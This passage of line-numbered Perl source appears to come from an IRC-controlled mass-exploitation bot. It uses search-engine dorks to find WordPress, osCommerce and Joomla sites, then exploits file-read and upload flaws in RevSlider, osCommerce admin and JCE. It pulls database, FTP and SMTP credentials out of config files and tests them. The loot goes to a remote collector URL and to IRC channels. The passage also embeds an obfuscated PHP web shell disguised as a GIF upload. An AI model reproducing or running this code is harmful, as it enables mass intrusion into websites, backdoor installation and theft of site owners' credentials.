  1545.         my $test = "http://".$site."/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php";    
  1546.             my $html = &get_content($test);
  1547.         if ($html =~ /DB_NAME/i )
  1548.         {
  1549.            
  1550.             if ($html =~ /\DB_NAME\', '(.*)'\);/) {$dbrev=$1;}
  1551.             if ($html =~ /\DB_USER\', '(.*)'\);/) {$userrev=$1;}
  1552.             if ($html =~ /\DB_PASSWORD\', '(.*)'\);/) {$passrev=$1;}
  1553.             if ($html =~ /\DB_HOST\', '(.*)'\);/) {$hostrev=$1;}
  1554.             my $check = &get_content("http://".$site."phpmyadmin");
  1555.             if ($check =~ /phpMyAdmin/) {
  1556.             &get_content("".$botsaver."?x=-PHPMYADMIN- http://".$site."phpmyadmin");
  1557.             #&msg("$chan","$revlogo9(4@9phpMyAdmin) http://".$site."phpmyadmin");
  1558.             &msg("$chanxxx","$revlogo9(4@9phpMyAdmin) http://".$site."phpmyadmin");
  1559.         }
  1560.             my $checker = &get_content("http://".$site."phpinfo.php");
  1561.             if ($checker =~ /DOCUMENT_ROOT/) {
  1562.             &get_content("".$botsaver."?x=-PHPINFO- http://".$site."phpinfo.php");
  1563.             #&msg("$chan","$revlogo9(4@9Info) http://".$site."phpinfo.php");
  1564.             &msg("$chanxxx","$revlogo9(4@9Info) http://".$site."phpinfo.php");
  1565.         }
  1566.             my $checkerz = &get_content("http://".$site."info.php");
  1567.             if ($checkerz =~ /DOCUMENT_ROOT/) {
  1568.             &get_content("".$botsaver."?x=-PHPINFO- http://".$site."info.php");
  1569.             #&msg("$chan","$revlogo9(4@9Info) http://".$site."info.php");
  1570.             &msg("$chanxxx","$revlogo9(4@9Info) http://".$site."info.php");
  1571.         }
  1572.             &get_content("".$botsaver."?x=-DATABASE- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBNname:".$dbrev."");
  1573.             &msg("$chanxxx","$revlogo13[+]Database[+] http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." ");
  1574.             &msg("$chan","$revlogo13[+]Database[+] http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." ");        
  1575.                             if ($userrev =~ /_/) {@users = split("_", $userrev); $usr = $users[0];}
  1576.            
  1577.             my $ceklog = "".$ftpxpl."?host=".$site."&user=".$usr."&pass=".$passrev."";
  1578.             my $ceklog2 = "".$ftpxpl."?host=".$site."&user=".$userrev."&pass=".$passrev."";
  1579.             my $ftplog = &get_content($ceklog);
  1580.             my $ftplog2 = &get_content($ceklog2);
  1581.                 if ($ftplog =~ /FTP success!/) {
  1582.                     &get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$usr." - Password:".$passrev."");
  1583.                     &msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$passrev."");
  1584.                 }
  1585.                 if ($ftplog2 =~ /FTP success!/) {
  1586.                     &get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$userrev." - Password:".$passrev."");
  1587.                     &msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$userrev." [+]password:".$passrev."");
  1588.                 }
  1589.             my $ngecek = "http://".$site.":".$portcpanel."";
  1590.             my $port = "3306";
  1591.             my $platform = "mysql";
  1592.             my $dsn = "dbi:$platform:$dbrev:$site:$port";
  1593.             my $DBIconnect=  DBI->connect($dsn,$userrev,$passrev);
  1594.         if ($DBIconnect) {
  1595.         &get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBName:".$dbrev."");
  1596.         #&msg("$chan","$revlogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
  1597.         &msg("$chanxxx","$revlogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
  1598.     }
  1599.             my $dsn2 = "dbi:$platform:$dbname:$hostrev:$port";
  1600.             my $DBIconnect2=  DBI->connect($dsn2,$userrev,$passrev);
  1601.         if ($DBIconnect2) {
  1602.         &get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBName:".$dbrev."");
  1603.         #&msg("$chan","$revlogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$serverIP." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
  1604.         &msg("$chanxxx","$revlogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$serverIP." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
  1605.         }}}
  1606.     }
  1607. }
  1608.  
  1609. sub revshell(){
  1610. my $chan = $_[0];
  1611.     my $bug = $_[1];
  1612.     my $simpan = $_[2];
  1613.     my $dork = $_[3];
  1614.     my $engine = $_[4];
  1615.     my $count = 0;
  1616.     my @list = &search_engine($chan,$bug,$dork,$engine,$revlogo);
  1617.     my $num = scalar(@list);
  1618.     if ($num > 0){
  1619.         foreach my $site(@list){
  1620.         $count++;
  1621.         if ($count == $num-1) {
  1622.         #&msg("$chan","$revlogo 4$engine 0 Selesai");
  1623.         }
  1624.         my $test = "".$revxpl."?target=http://".$site."/&x=rev";
  1625.             my $html = &get_content($test);
  1626.             if($html =~ /Sukses Bos/i){
  1627.             if($html =~ /path:(.*)<br>/){$path=$1;}
  1628.             my $shell = "http://".$site.$path;
  1629.             my $jos = &get_content($shell);
  1630.             my $lel = $shell."?x=kernel";
  1631.             my $lol = &get_content($lel);
  1632.             &msg("$chan","$revlogo $engine <=> Sukses <=> http://".$site);
  1633.                 if($jos =~ /GIF675ER/i){
  1634.                     &get_content("".$botsaver."?x=-SHELL- ".$shell." [OS: ".$lol."]");
  1635.                     &msg("$chanxxx","$revlogo 7 <=> sHeLL <=> ".$shell." 4".$lol."");
  1636.                     #&msg("$chan","$revlogo  7 <=> sHeLL <=> ".$shell." 4".$lol."");
  1637.                 }
  1638.             }
  1639.         }
  1640.     }
  1641. }
  1642.  
  1643. sub osco_exploit() {
  1644.     my $chan = $_[0];
  1645.     my $bug = $_[1];
  1646.     my $simpan = $_[2];
  1647.     my $dork = $_[3];
  1648.     my $engine = $_[4];
  1649.     my $count = 0;
  1650.     my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1651.     my $num = scalar(@list);
  1652.     if ($num > 0){
  1653.         foreach my $site(@list){
  1654.         $count++;
  1655.         if ($count == $num-1) { &msg("$chan","$oscologo 4$engine 0 Selesai"); }
  1656.             my $cat = "http://".$site."admin/categories.php/login.php";
  1657.             my $fm = "http://".$site."admin/file_manager.php/login.php";
  1658.             my $bm = "http://".$site."admin/banner_manager.php/login.php";
  1659.             my $shell = "http://".$site."images/lobex.php";
  1660.                 my $coba = &get_content($cat);
  1661.                 my $cob2 = &get_content($fm);
  1662.                 my $cob3 = &get_content($bm);
  1663.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1664.                 if ($coba =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) {
  1665.                     my $test = $cat."?action=download&filename=/includes/configure.php";
  1666.                     my $cek = &get_content($test);
  1667.                     if ($cek =~ /http:\/\//) {
  1668.                         &osql_xpl($test,$chan,$site,$engine);
  1669.                     }
  1670.                     my $aplod = LWP::UserAgent->new;
  1671.                     my $res = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string;
  1672.                     my $cekap = &get_content($shell);
  1673.                     if ($cekap =~ /GIF675ER/) {
  1674.                         if ($cekap =~ /Kernel:(.*?)<\/b>/){$os=$1;}
  1675.                         &msg("$chan","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 http://".$site."15 (OS=$os) ");
  1676.                         &msg("$chanxxx","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (OS=$os) ");sleep(1);
  1677.                     }
  1678.                 }
  1679.                 if ($cob2 =~ /TABLE_HEADING_FILENAME/i) {
  1680.                     my $test2 = $fm."?action=download&filename=/includes/configure.php";
  1681.                     my $cek2 = &get_content($test2);
  1682.                     if ($cek2 =~ /http:\/\//) {
  1683.                         &osql_xpl($test2,$chan,$site,$engine);
  1684.                     }
  1685.                     my $aplod2 = LWP::UserAgent->new;
  1686.                     my $res2 = $aplod2->post($fm."?action=processuploads",['file_1' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res2->as_string;
  1687.                     my $cekap = &get_content($shell);
  1688.                     if ($cekap =~ /GIF675ER/) {
  1689.                         if ($cekap =~ /Kernel:(.*?)<\/b>/){$os=$1;}
  1690.                         &msg("$chan","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 http://".$site."15 (OS=$os) ");
  1691.                         &msg("$chanxxx","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (OS=$os) ");sleep(1);
  1692.                     }
  1693.                 }
  1694.                 if ($cob3 =~ /TABLE_HEADING_BANNERS/i) {
  1695.                     my $test3 = $bm."?action=download&filename=/includes/configure.php";
  1696.                     my $cek3 = &get_content($test3);
  1697.                     if ($cek3 =~ /http:\/\//) {
  1698.                         &osql_xpl($test3,$chan,$site,$engine);
  1699.                     }
  1700.                     my $aplod3 = LWP::UserAgent->new;
  1701.                     my $res3 = $aplod3->post($bm."?action=insert",['banners_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res3->as_string;
  1702.                     my $cekap = &get_content($shell);
  1703.                     if ($cekap =~ /GIF675ER/) {
  1704.                         if ($cekap =~ /Kernel:(.*?)<\/b>/){$os=$1;}
  1705.                         &msg("$chan","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 http://".$site."15 (OS=$os) ");
  1706.                         &msg("$chanxxx","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (OS=$os) ");sleep(1);
  1707.                     }
  1708.                 }
  1709.                 } exit;
  1710.             }
  1711.         }
  1712.     }
  1713. }
  1714.  
  1715.  
  1716. sub osql_xpl() {
  1717.     my $url    = $_[0];
  1718.     my $chan   = $_[1];
  1719.     my $site   = $_[2];
  1720.     my $engine = $_[3];
  1721.     my $request = HTTP::Request->new(GET=>$url);
  1722.     my $browser = LWP::UserAgent->new();
  1723.     $browser->timeout(10);
  1724.     my $response = $browser->request($request);
  1725.     my @dbsinfo;
  1726.     if ($response->is_success) {
  1727.         my $dpath = ""; my $dbserver = ""; my $dbuser = ""; my $dbpass = ""; my $dbname = "";
  1728.         my $res = $response->as_string;
  1729.         if ($res =~ m/'DIR_FS_CATALOG', '(.*)'/g) {
  1730.             $dpath = $1;
  1731.             &msg("$chan","$oscologo15$engine 4<9=4>9 http://".$site." 15[+]DIR Path: 4 $dpath");
  1732.         }
  1733.         if ($res =~ m/'DB_SERVER', '(.*)'/g) {
  1734.             $dbserver = $1;
  1735.             &msg("$chan","$oscologo15$engine 4<9=4>9 http://".$site." 15[+]DB Server: 4 $dbserver");
  1736.         }
  1737.         if ($res =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {
  1738.             $dbuser = $1;
  1739.             &msg("$chan","$oscologo15$engine 4<9=4>9 http://".$site." 15[+]DB Username: 4 $dbuser");
  1740.         }
  1741.         if ($res =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {
  1742.             $dbpass = $1;
  1743.             &msg("$chan","$oscologo15$engine 4<9=4>9 http://".$site." 15[+]DB Password: 4 $dbpass");
  1744.         }
  1745.         if ($res =~ m/'DB_DATABASE', '(.*)'/g) {
  1746.             $dbname = $1;
  1747.             &msg("$chan","$oscologo15$engine 4<9=4>9 http://".$site." 15[+]DB Database: 4 $dbname");
  1748.         }
  1749.         my $hosts = "http://".$site;
  1750.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  1751.             $host = $2;
  1752.             &dbi_connect($host,$dbuser,$dbpass,$dbname,$chan,$engine,$oscologo);sleep(1);
  1753.             if ($dbuser =~ /_/) { my @users = split("_",$dbuser); my $dbuser = $users[0]; }
  1754.             &ftp_connect($url,$host,$dbuser,$dbpass,$chan,$engine,$oscologo);sleep(1);
  1755.         }
  1756.     }
  1757. }
  1758.  
  1759. sub joomla_xpl() {
  1760.     my $chan = $_[0];
  1761.     my $bug = $_[1];
  1762.     my $simpan = $_[2];
  1763.     my $dork = $_[3];
  1764.     my $engine = $_[4];
  1765.     my $count = 0;
  1766.     my @list = &search_engine($chan,$bug,$dork,$engine,$joomlalogo);
  1767.     my $num = scalar(@list);
  1768.     if ($num > 0){
  1769.         foreach my $site(@list){
  1770.         $count++;
  1771.         if ($count == $num-1) { &msg("$chan","$joomlalogo 4$engine 0 Selesai"); }
  1772.         my $test = "http://".$site."/index.php?option=com_cckjseblod&task=download&file=configuration.php";    
  1773.             my $html = &get_content($test);
  1774.         if ($html =~ /class JConfig/i )
  1775.         {
  1776.            
  1777.             if ($html =~ m/\$db = '(.+?)';/i) {$dbrev=$1;}
  1778.             if ($html =~ m/\$user = '(.+?)';/i) {$userrev=$1;}
  1779.             if ($html =~ m/\$password = '(.+?)';/i) {$passrev=$1;}
  1780.             if ($html =~ m/\$host = '(.+?)';/i) {$hostrev=$1;}
  1781.             if ($html =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
  1782.             if ($html =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
  1783.             if ($html =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
  1784.             if ($html =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
  1785.             if ($html =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
  1786.             if ($html =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
  1787.             if ($html =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
  1788.             if ($html =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;}
  1789.             if ($smtpauth =~ /1/) {
  1790.                 &get_content("".$botsaver."?x=-SMTP- Host: ".$smtphost." - Login: ".$smtpuser." - Pass: ".$smtppass."");
  1791.                 &msg("$chan","9[SMTP] Found on http://$site ");
  1792.                 &msg("$chanxxx","9[SMTP] [ host : ".$smtphost." ] [ login : ".$smtpuser." ] [ pass : ".$smtppass." ]");
  1793.             }
  1794.             my $check = &get_content("http://".$site."phpmyadmin");
  1795.             if ($check =~ /phpMyAdmin/) {
  1796.             &get_content("".$botsaver."?x=-PHPMYADMIN- http://".$site."/phpmyadmin");
  1797.             #&msg("$chan","$joomlalogo9(13@9phpMyAdmin) http://".$site."/phpmyadmin");
  1798.             &msg("$chanxxx","$joomlalogo9(13@9phpMyAdmin) http://".$site."/phpmyadmin");
  1799.         }
  1800.             my $checker = &get_content("http://".$site."phpinfo.php");
  1801.             if ($checker =~ /DOCUMENT_ROOT/) {
  1802.             &get_content("".$botsaver."?x=-PHPINFO- http://".$site."phpinfo.php");
  1803.             #&msg("$chan","$joomlalogo9(13@9Info) http://".$site."phpinfo.php");
  1804.             &msg("$chanxxx","$joomlalogo9(13@9Info) http://".$site."phpinfo.php");
  1805.         }
  1806.             my $checkerz = &get_content("http://".$site."info.php");
  1807.             if ($checkerz =~ /DOCUMENT_ROOT/) {
  1808.             &get_content("".$botsaver."?x=-PHPINFO- http://".$site."info.php");
  1809.             #&msg("$chan","$joomlalogo9(@Info) http://".$site."info.php");
  1810.             &msg("$chanxxx","$joomlalogo9(@Info) http://".$site."info.php");
  1811.         }
  1812.             &get_content("".$botsaver."?x=-DATABASE- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBName:".$dbrev."");
  1813.             &msg("$chanxxx","$joomlalogo13[+]Database[+] http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." ");
  1814.             &msg("$chan","$joomlalogo13[+]Database[+] http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." ");        
  1815.                 if ($userrev =~ /_/) {@users = split("_", $userrev); $usr = $users[0];}
  1816.            
  1817.             my $ceklog = "".$ftpxpl."?host=".$site."&user=".$usr."&pass=".$passrev."";
  1818.             my $ceklog2 = "".$ftpxpl."?host=".$site."&user=".$userrev."&pass=".$passrev."";
  1819.             my $ceklog3 = "".$ftpxpl."?host=".$ftphost."&user=".$ftpuser."&pass=".$ftppass."";
  1820.             my $ftplog = &get_content($ceklog);
  1821.             my $ftplog2 = &get_content($ceklog2);
  1822.             my $ftplog3 = &get_content($ceklog3);
  1823.                 if ($ftplog =~ /FTP success!/) {
  1824.                     &get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$usr." - Password:".$passrev."");
  1825.                     &msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$passrev."");
  1826.                 }
  1827.                 if ($ftplog2 =~ /FTP success!/) {
  1828.                     &get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$userrev." - Password:".$passrev."");
  1829.                     &msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$userrev." [+]password:".$passrev."");
  1830.                 }
  1831.                 if ($ftplog3 =~ /FTP success!/) {
  1832.                     &get_content("".$botsaver."?x=-FTP- ".$ftphost." - Username:".$ftpuser." - Password:".$ftppass."");
  1833.                     &msg("$chanxxx","8[+]FTP[+] ".$ftphost." [+]username:".$ftpuser." [+]password:".$ftppass."");
  1834.                 }
  1835.             my $ngecek = "http://".$site.":".$portcpanel."";
  1836.             my $port = "3306";
  1837.             my $platform = "mysql";
  1838.             my $dsn = "dbi:$platform:$dbrev:$site:$port";
  1839.             my $DBIconnect=  DBI->connect($dsn,$userrev,$passrev);
  1840.         if ($DBIconnect) {
  1841.         &get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBName:".$dbrev."");
  1842.         #&msg("$chan","$joomlalogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
  1843.         &msg("$chanxxx","$joomlalogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
  1844.     }
  1845.             my $dsn2 = "dbi:$platform:$dbname:$hostrev:$port";
  1846.             my $DBIconnect2=  DBI->connect($dsn2,$userrev,$passrev);
  1847.         if ($DBIconnect2) {
  1848.         &get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBName:".$dbrev."");
  1849.         #&msg("$chan","$joomlalogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$serverIP." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
  1850.         &msg("$chanxxx","$joomlalogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$serverIP." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
  1851.     }
  1852.     }
  1853.     }
  1854.     }
  1855. }
  1856.  
  1857. sub jce_exploit() {
  1858.     my $chan = $_[0];
  1859.     my $bug = $_[1];
  1860.     my $simpan = $_[2];
  1861.     my $dork = $_[3];
  1862.     my $engine = $_[4];
  1863.     my $count = 0;
  1864.     my @list = &search_engine($chan,$bug,$dork,$engine,$jcelogo,$nick);
  1865.     my $num = scalar(@list);
  1866.     if ($num > 0){
  1867.         foreach my $site(@list){
  1868.         $count++;
  1869.             my $shell = "http://".$site."images/stories/arhy.php";
  1870.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1871.             my $nick = $simpan;
  1872.             my $status = &jce_upload($site);&jce_upload($site);
  1873.             if ($status = 1) {
  1874.             my $check = &get_content($shell."?rf");
  1875.                 if ($check =~ /VitoShell/) {
  1876.                 my $safe = ""; my $os = ""; my $uid = "";
  1877.                                 my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; my $ftpopen = "";
  1878.                 my $smtphost = ""; my $smtpuser = ""; my $smtppass = ""; my $smtpauth = "";
  1879.                 if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1880.                 if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1881.                 if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1882.                 if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
  1883.                 if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
  1884.                 if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
  1885.                 if ($check =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
  1886.                 if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
  1887.                 if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
  1888.                 if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
  1889.                 if ($check =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;}
  1890.                 if ($smtpauth =~ /1/) {
  1891.                     &get_content("".$botsaver."?x=-SMTP- Host: ".$smtphost." - Login: ".$smtpuser." - Pass: ".$smtppass."");
  1892.                     &msg("$chan"," [SMTP] Found on http://$site ");
  1893.                     &msg("$chanxxx"," [SMTP] [ host : ".$smtphost." ] [ login : ".$smtpuser." ] [ pass : ".$smtppass." ]");
  1894.                 }
  1895.                 &get_content("".$botsaver."?x=-SHELL- $shell SafeMode=$safe OS=$os uid=$uid");
  1896.                 &msg("$chan","$jcelogo4Send1 8Target 9TO Gay 14$nick 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1897.                 &msg("$chanxxx","$jcelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1898.                 if (defined($ftpuser)){
  1899.                 my $hozt = $site;
  1900.                 $hozt =~ s/\///;
  1901.                 &ftp($hozt,$ftpuser,$ftppass,$admin);
  1902.                 }
  1903.             }
  1904.             }
  1905.         } exit;
  1906.             }
  1907.         if ($count == $num-1) { &msg("$chan","$jcelogo4$engine 12Finished 4for 12$dork "); }
  1908.         }
  1909.     }
  1910. }
  1911.  
  1912. sub jce_upload() {
  1913. my $success = 0;
  1914. my $url = $_[0];
  1915. $url =~ s/http:\/\///;
  1916. my $host = $url;
  1917. my $path = $url;
  1918. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1919. $path =~ s/(.*)\/[^\/]*$/\1/;
  1920. $path .= "/";
  1921. $path =~ s/([-a-zA-Z0-9\.]+)/$2/;
  1922. if ($path eq "") { $path = "/" }
  1923. $header1P = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  1924. $header1P2 = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  1925. $header2 = "Host: $host";
  1926. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  1927. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  1928. $header5 = "Content-Length: 5000";
  1929. $header6 = "-----------------------------41184676334";
  1930. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  1931. $header8 = '/';
  1932. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  1933. $header10 = 'Content-Type: application/octet-stream';
  1934. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  1935. $header12 = "0";
  1936. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="arhy.php.gif"';
  1937. $header14 = 'Content-Type: image/gif';
  1938. $header15 = 'GIF89aGvito';
  1939. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuM4EP58VfwH46uURwspe6eTEEO0HISj0k65puwXQJGbuK2XJI55h9JQ/PebsZO+LCzHrraq1HFen2xzPC5KV6pL8UUqI4qJv9s+2NwQcOJiCa258VtkFFNEr39s443YF2nv3bXbvzx6YbQehBYmkUhuVZfsgkZ4xlTwiA6Dz+Hghp4Ph0rxbD8a0jtHi+LLmm0Q/mYdU8P4bdBmBiOZzsGCspSROSsmBDxrb8h6gaHRn6KZc3Ce76YcWT+JT8QTQOmhMM5yyr0F/oVumzy1NEIqJcwcwlTHdG580T8NIUD/7IwePGJh8FnzN6wuwcim5qrkqgsZp0Wb0bxgOfcXFWzuNz4+PR0AWmjN/N5VBU6+5TQIL/rDY8UpdCLzKUZvwgr+uPd2goIgkTndJtSSUbfpOdMiI39vVEtOpsaU+51BUBMQ1kdlW/SuVcTVA1QMaAG3BQF2z7IrFYgbmNSCftHxusFYnl5LfPhgCRJwv5mav8LhjZdxsuA4MTgwTUkq4asj4FIng97VMD7r/R1eHl+Enh2DlHgjVWp2aNo/ub4IL4fxoN8fbWoB7czKHUQkTAWm+KxSXnM8KKclDojijm6XYpu4gHpKwEKcnv1qWs++mx4wV6aS0FAjWcaPPgsjoynPssOOExyO1BGCr63GEo6VFv/y7mIkkRk06dc9+wHDIxosRQX0sDNNOLdAGErQ4y71dgCVxSAAOowV+u2Att+b4xocAHsl0q6NlM/hESIsRQSUWZbKydfKSEvvyoc9g4QUuxhKtoPt9TDjqlWMkAUpdJCM4FUls9SdrARSYQBbSEobpVepfdRiex3Pzp9IeqEu44VItWo+ok9kRqmCoCQA46ahQitlO9y1/LUUt7ffkwOsv52kQYSUbECZylaOiwOYvsJaV5jloFjp0duEnsg8dFLaEGsoirIyxMxY3qWGPxpXkOMuWvKUrnijd5SLpd7FoeSBcpV9vwf7DiI78g7WkWV1kA2RSpkRJUbG2u2kzLAGbEYOSfM/JVyXmXEpORMZt3Jn0PpSNUaRpryo0XeHfc1gDP61GnQTX3adZs9SexPFJZ9M732yCm8lPrLpvD/+ROcp+AwfKFYypmjXsDUHB7LW0ZFMY+sKXqNqcqMicDeeZmFpd3I9RYHLvVyega2WxdH41GPA6ckq7A7GpRvdaw0l3h3YTCM7h7l84LGLztMYDfxKXVlexs4NFu0CWmDT1GB+Vyis1u2RcyrgReQp7oV04vYvTNNUSJJjrYkBRPBoOEte+6eEHpB0e9pekFwPfcMynBFYTK3MRntE1XitR3xogn5iJnXXfmBMeNzzMX/kiY+R7ElmUNROX7q2Tdavz3wJTtYYloofhSC/C4MaNxDUGABgs297s4A33CwaLpqgA19rH4tWpRgeZXsVtxuA4Ln674H8AHcv03EncN6rwP8D')))); ?> ";
  1940. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  1941. $header18 = 'arhy.php';
  1942. $header19 = 'Content-Disposition: form-data; name="action"';
  1943. $header20 = 'upload';
  1944. $header21 = "-----------------------------41184676334--";
  1945. $header22 = 'X-Request: JSON';
  1946. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  1947. $header25 = 'json={"fn":"folderRename","args":["/arhy.php.gif","arhy.php"]}';
  1948. $header24 = "Content-Length: ".length($header25)."";
  1949. my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return;
  1950. print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n";
  1951. my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return;
  1952. print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  1953. while ($hasil = <$remote>) {
  1954. if ($hasil =~ /200 OK/) {
  1955. $success = 1;
  1956. }
  1957. return $success;
  1958. }
  1959. }
  1960. ##################################################################################
  1961.  
  1962. sub search_engine() {
  1963.     my (@total,@clean);
  1964.     my $chan = $_[0];
  1965.     my $bug = $_[1];
  1966.     my $dork = $_[2];
  1967.     my $engine = $_[3];
  1968.     my $logo = $_[4];
  1969.     if ($engine eq "JacKAE") { my @jackae = &jack($dork."+site:ae",$jackae); push(@total,@jackae); }
  1970.     if ($engine eq "JacKAR") { my @jackar = &jack($dork."+site:ar",$jackar); push(@total,@jackar); }
  1971.     if ($engine eq "JacKAT") { my @jackat = &jack($dork."+site:at",$jackat); push(@total,@jackat); }
  1972.     if ($engine eq "JacKAU") { my @jackau = &jack($dork."+site:au",$jackau); push(@total,@jackau); }
  1973.     if ($engine eq "JacKBR") { my @jackbr = &jack($dork."+site:br",$jackbr); push(@total,@jackbr); }
  1974.     if ($engine eq "JacKCA") { my @jackca = &jack($dork."+site:ca",$jackca); push(@total,@jackca); }
  1975.     if ($engine eq "JacKCL") { my @jackcl = &jack($dork."+site:cl",$jackcl); push(@total,@jackcl); }
  1976.     if ($engine eq "JacKCN") { my @jackcn = &jack($dork."+site:cn",$jackcn); push(@total,@jackcn); }
  1977.     if ($engine eq "JacKCoM") { my @jackcom = &jack($dork."+site:com",$jackcom); push(@total,@jackcom); }
